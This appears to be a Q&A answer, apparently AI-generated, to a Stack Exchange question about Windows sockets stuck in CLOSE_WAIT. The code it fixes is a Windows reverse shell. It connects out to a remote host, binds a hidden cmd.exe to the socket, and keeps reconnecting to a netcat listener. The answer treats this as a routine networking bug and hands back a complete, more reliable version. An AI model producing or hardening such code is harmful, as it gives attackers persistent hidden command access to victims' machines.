Windows端Socket连接Linux异常:CLOSE_WAIT导致重连失败求助
Great question—let’s break down why your Windows socket is stuck in CLOSE_WAIT and how to fix it. The core issues are in how you’re handling socket cleanup and loop structure. Here’s what’s going wrong and how to resolve it:
Key Problems in Your Code
Incorrect Socket Closure: In your error loop, you’re calling
closesocket(b)—butbis the port string, not your actual socket handle! This means theWinsocksocket is never closed when connection attempts fail, leading to lingering sockets stuck inCLOSE_WAIT.Misplaced WSAStartup: You’re calling
WSAStartupinside the infinite loop. This function should be called exactly once at the start of your program, not every time you try to reconnect. Repeated calls can cause resource leaks and unexpected behavior.No Cleanup After Connection Drops: When the Linux side closes the connection, your Windows program doesn’t detect this or close the existing socket. The
cmd.exeprocess attached to the socket will exit when the connection is lost, but your code just sleeps and loops back to create a new socket without cleaning up the old one.Missing Error Handling: You don’t check if
WSASocketorgethostbynamesucceeds—if either fails, you’ll end up with invalid handles and undefined behavior.
Fixed Code with Explanations
Let’s rewrite your RunSocket function to address these issues:
void RunSocket(char *a, char *b, int secs) { WSADATA wsaData; // Initialize Winsock ONCE, outside the loop if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) { MessageBox(0, "Winsock initialization failed.", "Error", MB_OK); return; } while (1) { SOCKET Winsock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); if (Winsock == INVALID_SOCKET) { MessageBox(0, "Failed to create socket.", "Error", MB_OK); Sleep(15000); continue; } struct sockaddr_in hax; char ip_addr[16]; struct hostent *host = gethostbyname(a); if (!host) { MessageBox(0, "Failed to resolve host.", "Error", MB_OK); closesocket(Winsock); Sleep(15000); continue; } strcpy(ip_addr, inet_ntoa(*((struct in_addr *)host->h_addr))); hax.sin_family = AF_INET; hax.sin_port = htons(atoi(b)); hax.sin_addr.s_addr = inet_addr(ip_addr); // Attempt connection with proper cleanup on failure while (WSAConnect(Winsock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL) != 0) { MessageBox(0, "Did not connect.", "Error", MB_OK); closesocket(Winsock); // Close the invalid socket before retrying Sleep(15000); // Recreate the socket for the next attempt Winsock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); if (Winsock == INVALID_SOCKET) { MessageBox(0, "Failed to create socket.", "Error", MB_OK); Sleep(15000); } } // Set up process redirection STARTUPINFO ini_processo; PROCESS_INFORMATION processo_info; memset(&ini_processo, 0, sizeof(ini_processo)); ini_processo.cb = sizeof(ini_processo); ini_processo.dwFlags = STARTF_USESTDHANDLES; ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock; // Create the cmd process if (!CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &ini_processo, &processo_info)) { MessageBox(0, "Failed to start cmd.", "Error", MB_OK); closesocket(Winsock); continue; } // Wait for the cmd process to exit (triggers when connection is closed) WaitForSingleObject(processo_info.hProcess, INFINITE); // Cleanup process handles and socket CloseHandle(processo_info.hProcess); CloseHandle(processo_info.hThread); closesocket(Winsock); // Critical: close the socket after connection loss Sleep(secs); } // Cleanup Winsock (good practice if you ever exit the loop) WSACleanup(); }
Additional Fixes & Notes
Proper Socket Closure: Every time you create a socket, you must call
closesocketwhen you’re done with it—whether the connection fails, succeeds and then drops, etc. This ensures the OS doesn’t leave sockets lingering inCLOSE_WAIT.Wait for Process Exit: Using
WaitForSingleObjecton thecmd.exeprocess lets your program know exactly when the connection has been closed (since cmd exits when its stdin/stdout is disconnected). This removes guesswork about when to clean up the socket.Winsock Initialization: Moving
WSAStartupoutside the loop prevents unnecessary resource allocation and potential leaks.Error Checking: Added checks for socket creation, host resolution, and process startup to catch failures early and clean up properly.
Why This Fixes the CLOSE_WAIT Issue
When the Linux side closes the connection, the Windows TCP stack sends a FIN to your program. If your program doesn’t call closesocket on the socket, the OS keeps it in CLOSE_WAIT waiting for your program to acknowledge the closure. By explicitly closing the socket after the cmd.exe process exits, you tell the OS to clean up the socket immediately, eliminating the CLOSE_WAIT state.
Testing this should resolve your reconnection issues—now when you restart nc -lp 9090 on Linux, your Windows program will properly close the old socket and create a new one to reconnect.
内容的提问来源于stack exchange,提问作者bob dilly

